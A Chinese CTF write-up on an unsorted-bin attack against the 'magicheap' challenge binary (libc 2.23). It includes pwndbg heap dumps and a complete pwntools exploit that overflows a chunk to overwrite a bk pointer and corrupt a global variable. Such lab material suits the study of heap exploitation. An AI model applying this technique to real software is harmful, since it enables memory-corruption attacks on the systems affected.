unsortedbin_attack(例题)
附件下载:
链接:https://pan.baidu.com/s/1uWlZBNqqKBbr3B2O3V62gw 提取码:oqoy –来自百度网盘超级会员V3的分享
实验环境
libc版本2.23,Linux版本为Ubuntu16.04.4
文件保护
文件开启了Canary和NX保护,64位程序。
IDA静态分析 将程序放到程序中静态分析一下:
main函数
1、creat_heap函数(创建堆块)
这个函数主要是用来创建堆块并向堆块中写入内容的。
2、edit_heap函数(编辑堆块)(任意堆溢出)
程序最多创建9个堆块,并且堆块是从0开始的。这里存在任意堆溢出漏洞。
3、delete_heap(删除堆块)
释放堆块
4、exit函数(退出程序) 输入4,退出程序。
目标(cat flag)
当magic的值大于4869,即可cat flag。
所以我们的目标就是使用unsortedbin_attack将magic的值修改为一个超大值从而篡改执行流。
pwndbg调试 首先熟悉一下程序的内存布局:
创建一个堆块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 pwndbg> r Starting program: /root/CTF-PWN/Unsortedbin Attack/magicheap -------------------------------- Magic Heap Creator -------------------------------- 1. Create a Heap 2. Edit a Heap 3. Delete a Heap 4. Exit -------------------------------- Your choice :1 Size of Heap : 20 Content of heap:aaaaaaaaa SuccessFul -------------------------------- Magic Heap Creator -------------------------------- 1. Create a Heap 2. Edit a Heap 3. Delete a Heap 4. Exit -------------------------------- Your choice :^C Program received signal SIGINT, Interrupt. 0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory.LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────── RAX 0xfffffffffffffe00 RBX 0x0 RCX 0x7ffff7b04360 (__read_nocancel+7 ) ◂— cmp rax, -0xfff RDX 0x8 RDI 0x0 RSI 0x7fffffffdec0 —▸ 0x7fffffff0a31 ◂— 0x0 R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R9 0xd R10 0x7ffff7dd1b78 (main_arena+88 ) —▸ 0x603020 ◂— 0x0 R11 0x246 R12 0x400790 (_start) ◂— xor ebp, ebp R13 0x7fffffffdfb0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffded0 —▸ 0x400d50 (__libc_csu_init) ◂— push r15 RSP 0x7fffffffdeb8 —▸ 0x400ca7 (main+115 ) ◂— lea rax, [rbp - 0x10 ] RIP 0x7ffff7b04360 (__read_nocancel+7 ) ◂— cmp rax, -0xfff ────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────── ► 0x7ffff7b04360 <__read_nocancel+7 > cmp rax, -0xfff 0x7ffff7b04366 <__read_nocancel+13 > jae read+73 <0x7ffff7b04399 > ↓ 0x7ffff7b04399 <read+73 > mov rcx, qword ptr [rip + 0x2ccad8 ] 0x7ffff7b043a0 <read+80 > neg eax 0x7ffff7b043a2 <read+82 > mov dword ptr fs:[rcx], eax 0x7ffff7b043a5 <read+85 > or rax, 0xffffffffffffffff 0x7ffff7b043a9 <read+89 > ret 0x7ffff7b043aa nop word ptr [rax + rax] 0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389 ], 0 <0x7ffff7dd6740 > 0x7ffff7b043b7 <write+7 > jne write+25 <0x7ffff7b043c9 > ↓ 0x7ffff7b043c9 <write+25 > sub rsp, 8 ────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────── 00 :0000 │ rsp 0x7fffffffdeb8 —▸ 0x400ca7 (main+115 ) ◂— lea rax, [rbp - 0x10 ]01 :0008 │ rsi 0x7fffffffdec0 —▸ 0x7fffffff0a31 ◂— 0x0 02 :0010 │ 0x7fffffffdec8 ◂— 0x9a91d933f7d9cf00 03 :0018 │ rbp 0x7fffffffded0 —▸ 0x400d50 (__libc_csu_init) ◂— push r1504 :0020 │ 0x7fffffffded8 —▸ 0x7ffff7a2d840 (__libc_start_main+240 ) ◂— mov edi, eax05 :0028 │ 0x7fffffffdee0 ◂— 0x0 06 :0030 │ 0x7fffffffdee8 —▸ 0x7fffffffdfb8 —▸ 0x7fffffffe316 ◂— 0x54432f746f6f722f ('/root/CT' )07 :0038 │ 0x7fffffffdef0 ◂— 0x100000000 ──────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────── ► f 0 7f fff7b04360 __read_nocancel+7 f 1 400 ca7 main+115 f 2 7f fff7a2d840 __libc_start_main+240 Program received signal SIGINT
查看此时的内存情况:
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/16 gx 0x6020C0 0x6020c0 <magic>: 0x0000000000000000 0x0000000000000000 #当前magic的值为0 0x6020d0 : 0x0000000000000000 0x0000000000000000 0x6020e0 <heaparray>: 0x0000000000603010 0x0000000000000000 #指向chunk_data 0x6020f0 <heaparray+16 >: 0x0000000000000000 0x0000000000000000 0x602100 <heaparray+32 >: 0x0000000000000000 0x0000000000000000 0x602110 <heaparray+48 >: 0x0000000000000000 0x0000000000000000 0x602120 <heaparray+64 >: 0x0000000000000000 0x0000000000000000 0x602130 : 0x0000000000000000 0x0000000000000000
1 2 3 4 5 6 7 8 9 pwndbg> x/16 gx 0x603000 0x603000 : 0x0000000000000000 0x0000000000000021 #chunk 0x603010 : 0x6161616161616161 0x0000000000000a61 0x603020 : 0x0000000000000000 0x0000000000020fe1 #top_chunk0x603030 : 0x0000000000000000 0x0000000000000000 0x603040 : 0x0000000000000000 0x0000000000000000 0x603050 : 0x0000000000000000 0x0000000000000000 0x603060 : 0x0000000000000000 0x0000000000000000 0x603070 : 0x0000000000000000 0x0000000000000000
编辑堆块:
可以看见如果我们输入更长的内容就可以溢出到top_chunk中。
payload 自动化执行函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def create_heap (size, content ): r.recvuntil(":" ) r.sendline("1" ) r.recvuntil(":" ) r.sendline(str (size)) r.recvuntil(":" ) r.sendline(content) def edit_heap (idx, size, content ): r.recvuntil(":" ) r.sendline("2" ) r.recvuntil(":" ) r.sendline(str (idx)) r.recvuntil(":" ) r.sendline(str (size)) r.recvuntil(":" ) r.sendline(content) def del_heap (idx ): r.recvuntil(":" ) r.sendline("3" ) r.recvuntil(":" ) r.sendline(str (idx))
创建堆块 1 2 3 4 create_heap(0x20 , "1111" ) create_heap(0x80 , "2222" ) create_heap(0x20 , "3333" )
首先创建两个堆块,第一个堆块是为了后来堆溢出,第二个堆块是为了释放到unsortedbin中,第三个堆块防止第二个堆块释放时被与top_chunk合并。
释放一个不属于fastbin的chunk,并且该chunk不和top_chunk紧邻时,该chunk会首先被放到unsortedbin中。
执行payload之后的内存情况如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> x/30 gx 0x603000 0x603000 : 0x0000000000000000 0x0000000000000031 #chunk10x603010 : 0x0000000a31313131 0x0000000000000000 0x603020 : 0x0000000000000000 0x0000000000000000 0x603030 : 0x0000000000000000 0x0000000000000091 #chunk20x603040 : 0x0000000a32323232 0x0000000000000000 ......(省略) 0x6030b0 : 0x0000000000000000 0x0000000000000000 0x6030c0 : 0x0000000000000000 0x0000000000000031 #chunk30x6030d0 : 0x0000000a33333333 0x0000000000000000 0x6030e0 : 0x0000000000000000 0x0000000000000000 0x6030f0 : 0x0000000000000000 0x0000000000020f11 #top_chunk0x603100 : 0x0000000000000000 0x0000000000000000
释放chunk到unsortedbin中
执行完后查看内存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pwndbg> x/16 gx 0x603000 0x603000 : 0x0000000000000000 0x0000000000000031 #chunk10x603010 : 0x0000000a31313131 0x0000000000000000 0x603020 : 0x0000000000000000 0x0000000000000000 0x603030 : 0x0000000000000000 0x0000000000000091 #chunk20x603040 : 0x00007ffff7dd1b78 0x00007ffff7dd1b78 指向unsortedbin本身 0x603050 : 0x0000000000000000 0x0000000000000000 ......(省略为空) 0x6030b0 : 0x0000000000000000 0x0000000000000000 0x6030c0 : 0x0000000000000090 0x0000000000000030 #chunk30x6030d0 : 0x0000000a33333333 0x0000000000000000 0x6030e0 : 0x0000000000000000 0x0000000000000000 0x6030f0 : 0x0000000000000000 0x0000000000020f11 #top_chunkpwndbg> x/16 gx &main_arena 0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16 >: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 <main_arena+32 >: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 <main_arena+48 >: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 <main_arena+64 >: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 <main_arena+80 >: 0x0000000000000000 0x00000000006030f0 #top_chunk0x7ffff7dd1b80 <main_arena+96 >: 0x0000000000000000 0x0000000000603030 #unsortedbin 0x7ffff7dd1b90 <main_arena+112 >: 0x0000000000603030 0x00007ffff7dd1b88
堆溢出漏洞修改unsortedbin的bk指针 1 2 3 4 5 magic = 0x6020c0 fd = 0 bk = magic - 0x10 edit_heap(0 , 0x20 + 0x20 , "a" * 0x20 + p64(0 ) + p64(0x91 ) + p64(fd) + p64(bk))
执行payload之后,观察内存情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> x/16 gx 0x603000 00 x603000: 0x0000000000000000 0x0000000000000031 #chunk10x603010 : 0x6161616161616161 0x6161616161616161 0x603020 : 0x6161616161616161 0x6161616161616161 0x603030 : 0x0000000000000000 0x0000000000000091 chunk20x603040 : 0x0000000000000000 0x00000000006020b0 #指向target-0x10 (target即目标地址,在本程序中就是magic的地址) 0x603050 : 0x0000000000000000 0x0000000000000000 ......(省略为空) 0x6030b0 : 0x0000000000000000 0x0000000000000000 0x6030c0 : 0x0000000000000090 0x0000000000000030 #chunk30x6030d0 : 0x0000000a33333333 0x0000000000000000 0x6030e0 : 0x0000000000000000 0x0000000000000000 0x6030f0 : 0x0000000000000000 0x0000000000020f11 #top_chunk
最后创建一个属于unsortedbin大小的堆块,让全局变量magic值变大 1 create_heap(0x80 , "4444" )
执行payload后观察内存情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> x/16 gx 0x603000 00 x603000: 0x0000000000000000 0x0000000000000031 #chunk10x603010 : 0x6161616161616161 0x6161616161616161 0x603020 : 0x6161616161616161 0x6161616161616161 0x603030 : 0x0000000000000000 0x0000000000000091 chunk2 #被malloc 0x603040 : 0x0000000a34343434 0x00000000006020b0 #指向target-0x10 (target即目标地址,在本程序中就是magic的地址) 0x603050 : 0x0000000000000000 0x0000000000000000 ......(省略为空) 0x6030b0 : 0x0000000000000000 0x0000000000000000 0x6030c0 : 0x0000000000000090 0x0000000000000031 #chunk30x6030d0 : 0x0000000a33333333 0x0000000000000000 0x6030e0 : 0x0000000000000000 0x0000000000000000 0x6030f0 : 0x0000000000000000 0x0000000000020f11 #top_chunk
可以看到magic的值被修改的很大,可以通过验证从而篡改执行流。
当我们向程序输入4869时就可以getflag了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *context.log_level = 'debug' r = process('./magicheap' ) def create_heap (size, content ): r.recvuntil(":" ) r.sendline("1" ) r.recvuntil(":" ) r.sendline(str (size)) r.recvuntil(":" ) r.sendline(content) def edit_heap (idx, size, content ): r.recvuntil(":" ) r.sendline("2" ) r.recvuntil(":" ) r.sendline(str (idx)) r.recvuntil(":" ) r.sendline(str (size)) r.recvuntil(":" ) r.sendline(content) def del_heap (idx ): r.recvuntil(":" ) r.sendline("3" ) r.recvuntil(":" ) r.sendline(str (idx)) create_heap(0x20 , "1111" ) create_heap(0x80 , "2222" ) create_heap(0x20 , "3333" ) del_heap(1 ) magic = 0x6020c0 fd = 0 bk = magic - 0x10 edit_heap(0 , 0x20 + 0x20 , "a" * 0x20 + p64(0 ) + p64(0x91 ) + p64(fd) + p64(bk)) create_heap(0x80 , "4444" ) gdb.attach(r) r.recvuntil(":" ) r.sendline("4869" ) r.interactive()